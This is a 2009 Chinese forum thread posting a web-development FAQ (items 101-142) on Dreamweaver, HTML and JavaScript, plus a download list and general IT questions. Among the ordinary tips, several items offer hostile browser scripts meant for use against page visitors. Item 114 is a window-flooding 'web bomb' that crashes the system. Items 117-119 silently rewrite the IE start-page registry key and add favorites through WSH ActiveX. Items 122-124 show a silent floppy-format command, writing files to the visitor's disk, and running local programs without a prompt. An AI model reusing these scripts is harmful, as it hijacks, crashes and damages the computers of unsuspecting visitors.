★我要吧★

 找回密码
 注册[Register]
搜索
qq空间相册密码查看为什么登陆后需要激活无法注册?

电脑之十万个为什么(第七卷)

[复制链接]
发表于 2009-4-13 22:01:22 | 显示全部楼层 |阅读模式
?101,Q:XML 中能不能用中文标记 xml?
     A:可以。如:
   
   <!DOCTYPE 测试[
   
   
   <!ATTLIST 项目 属性1 CDATA #REQUIRED
    属性2 CDATA #IMPLIED>]>   
102,Q:用 Dreamweaver 制作拖拽的拼图效果
     A:
    (一)、找到一张完整,而且色彩鲜明的图片,用 PhotoShop 或 Fireworks 将图片均匀分割成一些 .jpg 或 .gif 小图片;
    (二)、进入 Dreamweaver,打开一个文件,单击对象工具栏中的层(Layer),在页面中拖拽一个层,把鼠标固定在层框中,同时点击工具栏中的图片插入按钮,插入一张你先前分割出的一张小图片。
    (三)按 F8,弹出“Behaviors”面板,在 Events For: 选择 IE 4.0,
    (四)、选中页面中的层,然后单击面板中的“+” 键,弹出列表,选择其中的 Drag Layer,此时弹出的框子,选择层(Layer)的时候时候一定选择当前层。(如果不是很清楚,按 F11)。其他的设置可以不去动他的默认。按 OK。 随后点击事件右侧的向下的黑色小箭头,在弹出的列表中选择"onMouseOver"。   
    这样一个可以拖拽的图象就建成了,你可以 Save 一下。用浏览器打开相应的 Html 文件试一试。:) 其他的图片也就按此方法重复制作几次。
103,Q:DreamWeaver 的七条经典技巧:
     A:
  (一)、连接窗口
Dreamweaver的用户界面分割为几个窗口,当处于工作状态时,屏幕上只能容纳几个窗口。为了保存真实的操作状态,最佳策略是将打开的窗口连接(dock)在一起。你可能尝试过拖拽窗口的标题栏,这在许多程序中都是可以完成连接动作的,但是在Dreamweaver中却不生效。
   实现窗口连接的技巧是用鼠标拖住窗口的 tab 栏,而不是标题栏。试着点击鼠标拖住一个窗口的 tab 栏并掠过另外一个窗口,当看到出现一个黑色边界时,松开鼠标按钮,你会发现 2 个窗口已经结合在一起了。现在你就可以照此方法连接任意多的窗口,最终合并到一个窗口中,如此就能节省大量的屏幕空间而看到实际的工作情况。但是请注意:装载器窗口、属性窗口以及站点窗口是不能被连接的。
  (二)、数据输入
Dreamweaver 允许你将数据直接输入到表格中,这样就比一次次地剪切、粘贴内容到单元格中容易许多。但是如果要输入的数据中含有插入表格数据命令时,就会有些麻烦。很不幸,Dreamweaver 只能输入具有分隔符的 .txt 文件。如果要处理 Word 或者 Excel 文件,可以先将它们输出为 .txt 文件,然后再输入进Dreamweaver 中。你会发现这样的处理方法简直象梦一样美妙!
  (三)删除、恢复、重复
输入数据到表格能够节省大量的操作时间,但是 Dreamweaver 中最有用的一个功能是它的历史窗口。在这个窗口中,一旦打开文档,随后执行的每一个操作都被记录下来,这样,你就可以跟踪操作行为并且简单地undo 或者重复最后一步。只需要选中历史窗口中的最后一步然后按下 Delete 键,或者拖曳滑动指示器到某一步一次删除几个步骤。同样,点击窗口中的 Replay 按钮再次执行某一步。
   很奇怪不能保存超过 50 步吧?这是个默认数值。要提高这个数值,选择“编辑/参数选择”,确认处于“普通”功能页面,在“历史步骤最大值”字段中输入一个较高数值。请注意,设定的保存步骤数目越大,消耗的内存就越大
  (四)、扩展!扩展!
通过使用 extensions,你可以为 Dreamweaver 添加更多的功能。许多开发者创建 extensions 并免费提供给更多的人使用。你可以访问 Macromedia 的站点与大家进行作品交换。当运行 Dreamweaver 时,选择“命令/获取更多的命令”,就会自动启动浏览器并转到交换站点。在开始收集所有的新技巧前,首先下载 Extension Manager,它将跟踪 extensions 变得轻而易举。
  (五)、创建相册   
为许多图形一次性建立缩略图是一个单调乏味的工作,特别当你不是一个有经验的图形专家时。没有关系,Dreamweaver 具有一个功能,它能象你的一个图形设计助手一样,按照你的要求完成缩略图设计工作。你告诉 Dreamweaver 哪个文件夹中包含图形后,它就会为其中的每一个图形创建一个缩略图、创建一个包含完整图形的页面以及一个存有所有缩略图的索引页面。为了使用这个功能,你需要首先安装 Fireworks。
首先,建立文件结构:将所有的图形文件放置到一个文件夹中。然后,选择“命令/创建网络相册”,并设置相应选项。不要过分考虑标题和副标题,这些信息随后都可以进行修改。重要的是指明源图形文件夹以及目标文件夹,因为这些信息决定了处理哪些文件。同时要确定一下缩图的尺寸大小、格式以及其他选项。当点击 OK 后,Dreamweaver 将控制权转移给 Fireworks,由它开始批量处理文件,创建一个非常好的小型相册或者一个连续的产品目录。如果你有许多相片,设置好让它开始运行,然后去休息一会儿,Dreamweaver 和 Fireworks 将完成所有的工作。
  (六)、创建自定义命令
你还记得前面说过 Dreamweaver 的一个最有用的功能就是历史窗口吗?这不是开玩笑,基于列于历史窗口中的操作,Dreamweaver 能够创建新的命令序列。
要创建一个命令,只需要简单地执行你想要记录的步骤。然后,在历史窗口中,选择想要保存的步骤,并在右下角点击“保存为”图标,起一个名字,点击 OK。到此,你的自定义命令就出现在“命令”菜单中,可以随意使用了。
  (七)、与他人协同工作
对于与其他人一起工作的 Web 开发者而言,他不必担心其他人修改了你所共享的文件。Dreamweaver 利用 check-in 和 check-out 系统达到保护打开文件的目的。  
104,Q:用 javascript 操作 Cookie 示例
     A:
   
    //写 Cookie(用分号“;”把表达式“var=value”分隔开)
    function Write2Cookie()
    { document.cookie="v1=123;" + "path=/;";
      document.cookie="v2=321;" + "path=/;";
    }
    //读 Cookie
    function getCookieVal(name)
    {
    var firstCharPos,lastCharPos;
    var theBigCookie = document.cookie;
    firstCharPos = theBigCookie.indexOf(name);
    if(firstCharPos != -1)
    {//skip ''name'' and ''=''.
    firstCharPos +=name.length + 1;
    //Find the end of the value string (i.e. the next'';'').
    lastCharPos = theBigCookie.indexOf('';'', firstCharPos);
    if(lastCharPos == -1) lastCharPos = theBigCookie.length;
    //Return thevalue.
    return theBigCookie.substring(firstCharPos, lastCharPos);
    }
    else
    { return false;}
    }
    thev1=getCookieVal(''v1'') // read
    thev2=getCookieVal(''v2'') // read
      
105,Q:电子邮件表单提交的问题
     A:首先必需正确配置邮件客户端(Outlook Express 等)的帐户设置,这样,如果点按表单下的“提交”按钮,浏览器就会自动启用它发送邮件。目前,Foxmail 尚不支持这种电子邮件表单提交。  
106,Q:用代码构造自己的窗口
     A:
   
   
   
   
    function xwindow(w,h,x,y,title,color,bordercolor,url)
    {
    move_function="var isinit=false;\r";
    move_function+="var mywindowok=true;\r";
    move_function+="function mouseSTATUS() {\r";
    move_function+="this.x = null;\r";
    move_function+="this.y = null;\r";
    move_function+="this.bt =''up'';\r";
    move_function+="this.oldx = null;\r";
    move_function+="this.oldy = null;\r";
    move_function+="this.dx = null;\r";
    move_function+="this.dy = null;\r";
    move_function+="this.screeny = null;\r";
    move_function+="this.screenx = null;\r";
    move_function+="this.element = null;\r";
    move_function+="this.event = null;\r";
    move_function+="}\r";
    move_function+="var mouse = new mouseSTATUS();\r";
    move_function+="function actualizateMouseSTATUS(e) {\r";
    move_function+="if (!e) var e = event\r";
    move_function+="if ((e.type==''mousedown'' || e.type==''mouseup'') && e.button!=1) return true\r";
    move_function+="var x=e.x+document.body.scrollLeft\r";
    move_function+="var y=e.y+document.body.scrollTop\r";
    move_function+="mouse.x=x;\r";
    move_function+="mouse.y=y;\r";
    move_function+="if (e.type==''mousedown'') mouse.bt = ''down'';\r";
    move_function+="else if(e.type==''mouseup'') mouse.bt = ''up'';\r";
    move_function+="if(window.event) {\r";
    move_function+="mouse.screenx=window.event.screenX;\r";
    move_function+="mouse.screeny=window.event.screenY;\r";
    move_function+="} else {\r";
    move_function+="mouse.screenx=0;\r";
    move_function+="mouse.screeny=0;\r";
    move_function+="}}\r";
    move_function+="function initMouseEvents() {\r";
    move_function+="document.onmousedown = actualizateMouseSTATUS\r";
    move_function+="document.onmousemove = actualizateMouseSTATUS\r";
    move_function+="document.onmouseup = actualizateMouseSTATUS\r";
    move_function+="document.onselectstart = selectstart\r";
    move_function+="document.ondragstart = new Function(''actualizateMouseSTATUS(event); return false;'')\r";
    move_function+="}\r";
    move_function+="function selectstart(){\r";
    move_function+="if ( event.srcElement.tagName != ''INPUT'' && event.srcElement.tagName != ''TEXTAREA'') { return false; } \r";
    move_function+="else { mouse.bt=''up''; return true; }\r";
    move_function+="}\r";
    move_function+="initMouseEvents()\r";
    move_function+="var mywindowbt =''up'';\r";
    move_function+="var wincloseSTATUS=''up'';\r";
    move_function+="var ofx=0;\r";
    move_function+="var ofy=0;\r";
    move_function+="var opx=0;\r";
    move_function+="var opy=0;\r";
    move_function+="var px=0;\r";
    move_function+="var py=0;\r";
    move_function+="var wclosechanged = false;\r";
    move_function+="function initToMoveWin() {\r";
    move_function+="if(mouse.y = 1 && mywindowbt == ''up'' && mouse.bt ==''up'') { mywindowbt = ''over'' }\r";
    move_function+=" else if (( mouse.y > 22 || mouse.y < 1 ) && mywindowbt == ''over'' && mouse.bt ==''up'') { mywindowbt = ''up''}\r";
    move_function+=" else if (mouse.y =1 && mywindowbt == ''over'' && mouse.bt == ''down'' ) { \r";
    move_function+="self.window.focus();\r";
    move_function+=" ofx = mouse.x;\r";
    move_function+=" ofy = mouse.y;\r";
    move_function+=" opx = mouse.x;\r";
    move_function+=" opy = mouse.y;\r";
    move_function+=" mywindowbt=''down'';\r";
    move_function+="}\r";
    move_function+=" else if ( mouse.bt ==''up'' && mywindowbt == ''down'' ) { ";
    move_function+=" mywindowbt=''up'';";
    move_function+=" ofx=0;";
    move_function+=" ofy=0;";
    move_function+=" opx=0; ";
    move_function+=" opy=0;";
    move_function+=" }";
    move_function+=" else if ( mywindowbt == ''down'' && wincloseSTATUS == ''up'') {\r";
    move_function+=" var m_scrx = mouse.screenx;\r";
    move_function+=" var m_scry = mouse.screeny;\r";
    move_function+=" px = m_scrx - ofx;\r";
    move_function+=" py = m_scry - ofy;\r";
    move_function+=" top.window.moveTo(px,py);\r";
    move_function+=" }\r";
    move_function+=" setTimeout(''initToMoveWin()'',1);\r";
    move_function+=" }\r";
    move_function+=" initToMoveWin()\r";
    newWindow=window.open("","newWindow","fullscreen=1","width="+w+",height="+h);
    newWindow.resizeTo(w,h);
    newWindow.moveTo(x,y);
    newWindow.document.open();
    newWindow.document.write('''');
    newWindow.document.write(''\r'');
    newWindow.document.write(''\r'');
    newWindow.document.write(''\r'');
    newWindow.document.write(''\r'');
    newWindow.document.write('''');
    newWindow.document.write('''');
    newWindow.document.close();
    newWindow.focus();
    }
    //-->
   
   
    <body onload="xwindow(''400'',''330'',''50'',''50'',''- My Window -'',''#FFCC00'',''#000000'',''child.htm'')"
      
107,Q:HTML 的 Access Key(存取键)的用法:
     A:所谓“存取键”就像 windows 应用程序中的 Alt 快捷键,同时按 Alt 键和某个字母键,可以快速切换到文本框、按钮等页面对象上。
    (1)、文本框的 Access Key:
     
     
      
     
      
     
      
      
    其中的  标签产生下划线;For="Name" 和 ID="Name" 中的 Name 是一致的;ACCESSKEY=… 设置“热键”。
    (2)、选择框的 Acsess Key:选择项目时不必非得在框内点击鼠标了,在文本上选择即可:
     
      
     
      
     
      
    (3)、链接的快捷键:
     按 Alt+[字母] 就可以打开一个链接,方便不方便?
      
108,Q:加速表格  的下载:
     A:在  标签中加:style="table-layout:fixed"。  
109,Q:去除作为链接的图片周围的虚框:
     A:在链接标签  中加语句:onFocus="this.blur()",即:
         
110,Q:在网页中打开带模式的对话框窗口(在子窗口关闭之前父窗口不能获得焦点):
     A:
    window.showModalDialog(''about_us/about_us.htm'', null, ''dialogWidth=450px;dialogHeight=300px;center:1;scroll:0;
    help:0; status:0'')"  
111,Q:关闭浏览器时自动打开一个窗口:
     A:。  
112,Q:让一个窗口在指定的时间内关闭:
     A: (n 替换为数字,单位为“ms毫秒”)。  
113,Q:用 css 定制 IE5.5 以上浏览器的滚动条:
     A:改变滚动条的颜色(red):
改变滚动条箭头的颜色(green):  
114,Q:介绍一个最简单的“Javascript 网页炸弹”:
     A:把以下脚本放在你的网页中,当打开你的网页时,同时会打开若干个 IE 窗口(本例中为 10 个,用脚本中的变量 count 控制)。如果设置打开的窗口数非常多(100个?、1000个?、5000个?),那么就会耗尽 Windows 的系统资源,导致死机、系统崩溃。
   
     var count=10; //打开窗口的个数
     for(var i=0;i<count;i++) document.open(''某网页文件.htm'','''','''')
   
    站长提醒:此法不要滥用;试验前保存你的数据。  
115,Q:网页编程中响应鼠标双击事件:
     A:
      
      
        
      
        
116,Q:javascript 脚本中 innerHTML 代表什么?
     A:举个例子:
    其中 test.innerHTML代表的就是 "我是张庆"
    大家还可以试试 outHtml、innerText、outText 等属性。  
117,Q:把你的主页强行、自动设置为 IE 浏览器的首页:
     A:
   
    document.write("");
    function set2homepage()
    {
    try
    {
    obj=document.applets[0];
    obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
    obj.createInstance(); //创建 wsh 的一个实例
    Shell=obj.GetObject();
    try{Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://    100000.home.sohu.com");}
    catch(e){}
    }
    catch(e){}
    }
    setTimeout("set2homepage()",1); //1ms
      
118,Q:把你的主页强行、自动设置为 IE 浏览器的首页、同时添加到“收藏夹”中:
     A:

document.write("");

//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function

function f()
{
try
{
o=document.applets[0];

o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();

o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();

try
{
//根据 cookie 判断是否需要设置
//if (document.cookie.indexOf("Chg") == -1)
//{
// //set cookie
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// //end set cookie

//set home page
var your_hmpg="http://100000.home.sohu.com"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page

//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part

//the following line is used for adding favorites. to add multiple favorites, duplicate the following line, changing the last 2 paramaters
AddFavLnk(loc, "十万个为什么", "http://100000.home.sohu.com");
//end add favorites
//}
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
  
119,Q:把你的主页强行、自动添加到“收藏夹”中:
     A:

document.write("");
function AddFavLnk(loc, DispName, SiteURL)
{var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//Following 2 lines set Homepage:
//var your_hmpg=top.location
//Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
var WF, loc;
WF = FSO.GetSpecialFolder(0); // folder where WINDOWS is installed
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc)) // is Windows2000 up
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc)) { return; }
}
AddFavLnk(loc, top.document.title, top.location); //你也可以直接设置 top.document.title 为常量字符串

}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();

  注:如果你的主页在 Frame 中,则收藏夹中的提示信息取分帧的主页的 Title。你也可以直接设置为常量字符串。
 楼主| 发表于 2009-4-13 22:02:42 | 显示全部楼层
120,Q:用代码关闭 IE 窗口时不提示:
     A:
   
   
   
     function closewin() { cn=closes.Click(); }
   
   
   
   
   
     
   
      
   
      
121,Q:如何保存网页上的 Flash 动画?
     A:1、在浏览网页的网站里面找 *.swf 文件,然后用蚂蚁之类的下载软件拉;
    2、直接到 IE 的缓存目录里面搜索 *.swf 文件比较快;
    3、如果在脱机浏览时,还能够看到 Flash,万幸! 赶快到 Windows 目录下的 Temporary Internet Files 文件夹下去找 Flash(Windows2000 下在 \Documents and Settings\用户名\Local Settings 文件夹下),它也许正老老实实地躺在那里呢。  
122,Q:在网页中应用 wsh 对象执行浏览器端的程序(以运行 Command.com 为例)
     A:必须把浏览器的安全级别设置为最低才能执行以下脚本。
   
   
   
     wsh.run(''c:\\command.com'');
   
    注意:如果把 ''c:\\command.com'' 换成 ''Format a: /autotest/q/u'',就会不出现任何提示,自动格式化本地浏览者的软盘! 请各位试验时保护好自己的数据,更提醒各位不要用此法害人!  
123,Q:在网页中给浏览器端写文件
     A:浏览包含以下代码的网页,会在浏览器端的 C: 盘跟目录下生成一个名为 file_created_by_ocx.txt 的文本文件,文件内容中包含字符串 "myfile:I want to write a file!":
   
   
   
     document.scr.Reset();
     document.scr.Path="C:\\file_created_by_ocx.txt";
     document.scr.Doc="myfile:I want to write a file!";
     document.scr.write();
      
124,Q:在网页中不加任何提示打开浏览器本地可执行程序:
     A:
   
    document.write("");
    function runcmd()
    {
    try
    {
    obj=document.applets[0];
    obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
    obj.createInstance(); //创建 wsh 的一个实例
    Shell=obj.GetObject();
    Shell.run(''c:\\command.com'');
    }
    catch(e){};
    }
    setTimeout("runcmd()",1); //1ms
      
125,Q:用 GUID 构造 hta 文件:
     A:建立一个名为 myfile.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} 的文件,看上去是一个文本文件,其实是一个 hta 文件,双击可以用 IE 打开。  
126,Q:应用 wsh 对象的又一方法
     A:
   
     wsh=new ActiveXObject("WSCript.Shell") //声明
     wsh.run("command.com") //执行命令
   
    该脚本在 .hta 文件中执行没有提示,在 .htm 中执行有提示,且只有 IE 的安全级别设为最低才能执行。  
127,Q:在网页上按任意键后,进入另一个页面
     A:在网页的  中间放置以下脚本即可。注意必须使当前页面获得“焦点”。
   
     this.location="another.htm"
      
128,Q:在 FLASH 中是不是只能够插入 wav 格式的音乐文件?
     A:在 Flash4 中只能插入 wav 格式,但在 Flash5 中已经可以插入别的格式了。如 MP3。  
129,Q:Asp 与 Javascript 交换数据时一个问题的解决
     A:有下列一段代码,用 Javascript 接受 Asp 的一个变量 strVal 的值:
   
   
     alert()
   
    但是,在 Js 中,显示该值为 "68",显然 Js 把 Asp 的字符串值 "0104" 作为自己的 8 进制数给用了(在 Js 中以 0 打头的数值为 8 进制数)。由于 Js 为弱类型的语言,它接收到 strVal 的值后默认其为数值型变量。这就把变量的类型给强行转换了。
    为了避免这两种语言交换字符串数据时产生的语义分歧,必须在 Asp 中给字符串的首、尾加上单引号,这样 Js 接收后就不会误会了,即:
      
130,Q:在网页中用 Javascript 判断 IE 窗口是否打开,还可以对 IE 窗口进行关闭/置前/置后操作
     A:按“打开窗口”按钮后,如果 new.htm 没有打开,则打开它;如果打开了,就报告“new.htm is already opened.”。
   
   
     
    var myPage;
    function openMyPage()
    {
    if (!myPage || myPage.closed)
    { myPage=window.open("new.htm", "_blank"); }
    else
    { alert("new.htm is already opened."); }
    }
   
     
     
     
     
   
   
    以下函数还可以关闭上面打开的 IE 窗口:
     function closeMyPage()
     { myPage.close(); }
    置前 IE 窗口:
     function focusMyPage()
     { myPage.focus(); }
    置后 IE 窗口:
     function blurMyPage()
     { myPage.blur(); }
    以上方法只能打开、判断、操作本 IE 内代码控制的窗口,对别的 IE 进程的子窗口不起作用。  
131,Q:用 Javascript 存取剪贴板:
     A:
   
     
     
     
      
132,Q:网页中判断 IE 客户端是否装有 office
     A:
   
    function CheckExcel()
    {
    try
     {new ActiveXObject("WScript.Shell");}
    catch(x) {return false;}
    try
     {new ActiveXObject("Excel.Application");}
    catch(x){return null;}
    return true;
    }
    res=CheckExcel();
    switch(res)
    {
    case true:
     alert("安装有 EXCEL"); break;
    case null:
     alert("没有安装"); break;
    case false:
     alert("ActiveX 被禁用");
    }
      
133,Q:Javascript 命令参数 external 的几个用法:
     A: Window.external 就如同 print 参数一样,是 IE 默认的一个命令参数,我们最常用的用法是:
    (1)、external.AddDesktopComponent:把某一个网页变成用户的桌面。如果你知道有壁纸网站的话,不访用这个功能,直接就能让浏览者把喜欢的图片、页面变成自己的桌面。如果页面里有 Flash 动画那就更酷了。
    function wallpaper()
    {window.external.AddDesktopComponent("url","title",0,0,1024,768);}
    (2)、external.AddFavorite:把网站加入到用户的收藏夹。在页面上添加一个按钮,让浏览者可以方便地把页面地址保存在 IE 收藏夹里。
    function add()
    {window.external.AddFavorite("url","title");}
  如果把 url 和 title 替换成 this.location.href, this.document.title 则自动把当前页面地址及其标题添加到浏览器收藏夹。
    (3)、window.external.ShowBrowserUI:启动 IE 的“语言设置”和“整理收藏夹”功能。
   
      
134,Q:干掉免费个人主页上强加的广告窗口、广告条
     A:一些免费主页经常在你的主页上强加各种类型的广告,很是烦人。但如果注意到它们都是以明文文本代码的形式加在网页中的某个固定的地方,则要干掉它们就不是很困难了。站长收集了一些技巧贴出来供大家参考:
    1)、利用  注解标志来欺骗。
     例如
     
     
     
      处插进去的
     
     
     
      // 这才是真的 body!
    2)用<META 这个标志来欺骗。
     例如:
     
      前面,插在这,等于没插
     
     
     
     
    3)直接利用下面的代码屏蔽掉广告代码中弹出窗口用的函数 open()
     
     <!--
     function open() {return true;} // OK,这就是我们要的
     //-->
     
    4)有的时候广告代码前会放 就搞定了。
      // 下面是广告插入的代码。
     
     
     
     ......
    5)屏蔽掉广告打开的指定页面。
     
     <!--
     function ScreenIt(url,name,parm)
     {
     if(url.indexOf("popup.html")!=-1) return false; // popup.html 是广告页面。
     return window.Xopen(url,name,parm);
     }
     window.Xopen=window.open;
     window.open=ScreenIt;
     //-->
     
    6)干掉包含指定名字的弹出窗口
     
     <!--
     function ScreenIt(url,name,parm)
     {
     if(name.indexOf("opup")!=-1) return false; //广告窗口名字包含“opup”
     return window.Xopen(url,name,''toolbar=1,location=1,directories=1,status=1,menubar=1,scrollbars=1,resizable=1'');
     }
     window.Xopen=window.open;
     window.open=ScreenIt;
     //-->
      
135,Q:屏蔽 IE 的右键菜单,并定制自己的右键菜单
     A:



#ie5menu
{
position:absolute;
width:150px;
border:1px solid green;
background-color:menu;
font-family:Verdana;
font-size:9pt;
line-height:20px;
cursor:hand;
visibility:hidden;
}
.menuitems
{
padding-left:15px;
padding-right:15px;
}
-->


//set this variable to 1 if you wish the URLs of
//the highlighted menu to be displayed in the status bar
var display_url=0
function showmenuie5()
{
var rightedge=document.body.clientWidth-event.clientX
var bottomedge=document.body.clientHeight-event.clientY
if (rightedge<ie5menu.offsetWidth)
ie5menu.style.left=document.body.scrollLeft+event.clientX-ie5menu.offsetWidth
else
ie5menu.style.left=document.body.scrollLeft+event.clientX

if (bottomedge<ie5menu.offsetHeight)
ie5menu.style.top=document.body.scrollTop+event.clientY-ie5menu.offsetHeight
else
ie5menu.style.top=document.body.scrollTop+event.clientY
ie5menu.style.visibility="visible"
return false
}

function hidemenuie5()
{
ie5menu.style.visibility="hidden"
}

function highlightie5()
{
if(event.srcElement.className=="menuitems")
{
event.srcElement.style.cursor="hand"
event.srcElement.style.backgroundColor="highlight"
event.srcElement.style.color="white"
if(display_url==1) window.status=event.srcElement.url
}
else
event.srcElement.style.cursor="default"
}

function lowlightie5()
{
if (event.srcElement.className=="menuitems")
{
event.srcElement.style.backgroundColor=""
event.srcElement.style.color="black"
window.status=''''
}
}
function jumptoie5()
{
if(event.srcElement.className=="menuitems") window.location=event.srcElement.url
}














document.oncontextmenu=showmenuie5
if (document.all && window.print) document.body.onclick=hidemenuie5;

点击右键打开菜单


  
136,Q:如何用 javascript 判断输入的日期是否有效
     A:主要原理是把得到的年月日拼成字符串与客户端输入的做比较,如相等则对,否则错。函数如下:
    function checkDate(inString,fieldName)
    {
    var tempDate;
    var a=new Date(inString);
    var y=a.getFullYear();
    var m=a.getMonth()+1;
    var d=a.getDate();
    var myday=y + "/" + m + "/" + d
    if (myday!=inString)
    {
     alert "请为"+ fieldName +"输入一有效日期(yyyy/m/d/)。";
     return false;
    }
    return true;
    }  
137,Q:浏览器 Open 窗口的参数:
     A:
    open(''Url'',
     '''',
     ''toolbar=no,
     location=no,
     status=no,
     menubar=no,
     scrollbars=no,
     resizable=no,
     width=200,
     height=100,
     left=200,
     top=100''
    )">
    注:left,top 对 IE 有效,在 Netscape4 里用 screenX,screenY 参数。  
138,Q:在 DW 中怎样控制弹出窗口大小
     A:在 DW 中选中你所要设置连接的文字(需先加 # 连接)或图片,打开行为面板,点击 + 号,选择 OPEN BROWSER WINDOW,在弹出的对话框中设定你所需要的参数即可。  
139,Q:怎样控制打开首页窗口的大小?
     A:首页是自行打开的,所以没有父窗口来控制其大小,这时可以应用 javascript 的 resizeTo 函数来达到目的:
     
     
     
     
      function resizewindow(w,h) {window.resizeTo(w,h);}
     
     
     
      ......
      
140,Q:如何尽量使 Asp 的代码保密?
     A:产品完成后交付用户,但 Asp 代码始终是以明文文本的方式存放,不排除用户错误修改的可能。为了尽可能的减少(核心)代码暴露,可以把一些代码封装制作成 .dll 文件的形式注册在 Web 服务器上,在 Asp 中调用。制作 dll 的工具很多,如 VB、Delphi、VC++ 等。像通过 delphi 的 Web application 创建的 dll 文件就可以直接在 Personal Web Server 和 IIS 中运行。
141,Q:制作 cell 突出的表格
     A:
   
      
      
   
     表格突出示例 表格突出示例

142,Q:页面动态分割条
     A:演示
 楼主| 发表于 2009-4-13 22:03:57 | 显示全部楼层
?ARJ.EXE    DOS 环境下最流行的压缩软件,有时还会用到
Pc2oem Ver0.01 (2,471k)    站长免费软件作品: 设置 Windows 的 OEM 信息,有趣又有用。pc2OEM 收录在华军软件园 http://nj.onlinedown.net/PC2OEM.HTM,自由下载。
留言簿: BBS.EXE (51k)    站长作品:一个用 ASP 做的留言簿。根据压缩包里的 Readme.txt 进行安装。非常简单、好用。
Web《同学录》infobook.zip (34k)    站长作品:网站上运行的《同学录》,访客自行登记、修改个人信息。可查询所有信息。 用 ASP 编写。
网页制作技术资料下载     演 示
colors.zip   资料: 网页制作颜色集    演 示
fade_image.zip   图片淡出
game_pingpang.zip   Web 游戏:碰碰球
going_clock.zip   仿真时钟
keep_image.zip   固定的图标
lasting_music.zip   实现连续的背景音乐
marqueen.zip   仿TV演职员表
mouse_trace.zip   鼠标跟随效果
move_background.zip   移动的屏幕背景
move_image.zip   飞来飞去的图片
ActiveX 控 件 下 载
Gb2Big.zip (41k)   GBBig 汉字内码转换 ActiveX 控件
Gif_ocx.zip (186k)   播放 Gif 动画 ActiveX 控件
sun2moon.zip (14k)   阳历转换为农历 ActiveX 控件
Add2IeToolbar.ocx (11k)   站长作品:ActiveX 控件,在 IE 的工具栏上添加类似 Netants 的自定义按钮
Delphi 汉 化 资 源
qrprev.dfm.zip (3k)   Delphi6.0 报表预览器汉化文件
Delphi5_consts.dcu.zip (16k)   Delphi5.0 的 consts.pas 的汉化文件(已编译)
Delphi5_graphics.dcu.zip (115k)   Delphi5.0 的 graphics.pas 的汉化文件(已编译)
 楼主| 发表于 2009-4-13 22:05:01 | 显示全部楼层
?1,Q:用 DOS 还是 Windows?
    A:如今这已经是一个不成问题的问题了。但在微机操作系统的发展史上,用 DOS 还是 Windows,曾经困惑了人们几年的时间。 直到 1995 年 8 月,中文 Windows95 的发布,Windows 才成为中国人的必然选择。如今,虽然是 Windows 的一统天下,但 DOS 的精巧和稳定仍然常常让一些老鸟怀想 DOS 时代的美好时光。但电脑归根结底是为人民服务的,用 DOS 还是 Windows 是电脑用户个人的事,只要电脑能为你打出精美的文稿、处理繁杂的业务,用 DOS 还是 Windows, 您随便。   
   2,Q:什么是“摩尔定律”?
    A:“摩尔定律”是以 Intel 公司的奠基人戈登.摩尔的名字命名的。戈登.摩尔认为, 处理器的能力每 18 个月的时间就会翻一倍。在过去的几十年里,计算机特别是微型计算机,它的微处理器以及许多新技术的发展速度均遵循摩尔定律的法则。 摩尔定律现在已经被“移植”到许多新领域,如煤体传播领域。Internet 的发展也被人们认为遵循摩尔定律的规律。   
   3,Q:企业上网为什么“雷声大,雨点小”?
    A:有观点认为:
    (1)对信息技术的恐惧心理;
    (2)对传统商业模式的过分依赖;
    (3)短期内不能迅速带来经济效益(更谈不上“电子商务”),使经营者对“触网”心存疑虑;
    (4)电信等部门把企业引上网后, 没有解决企业信息的组织、发布等后续的问题,使企业上网效果不佳,没有尝到互连网的“甜头”。   
   4,Q:网上购物的最大障碍是什么?
    A:一部分人认为:(1)售后没保障;(2)网上支付等信用制度不完善; (3)商品配送慢;(4)商品数量少。   
   5,Q:IP 地址够用吗?
    A:随着 Internet 爆炸性的增长,IP 地址的分配越来越困难,如果不加以控制, IP 地址资源会很快用完。现在,网络工程师们已经在想办法从技术上解决这一难题。目前应用的办法有:采用 DHCP 协议, 应用代理服务器,以及地址翻译等,并且考虑向 IPv6 转移。   
   6,Q:如何看待大学生创业?
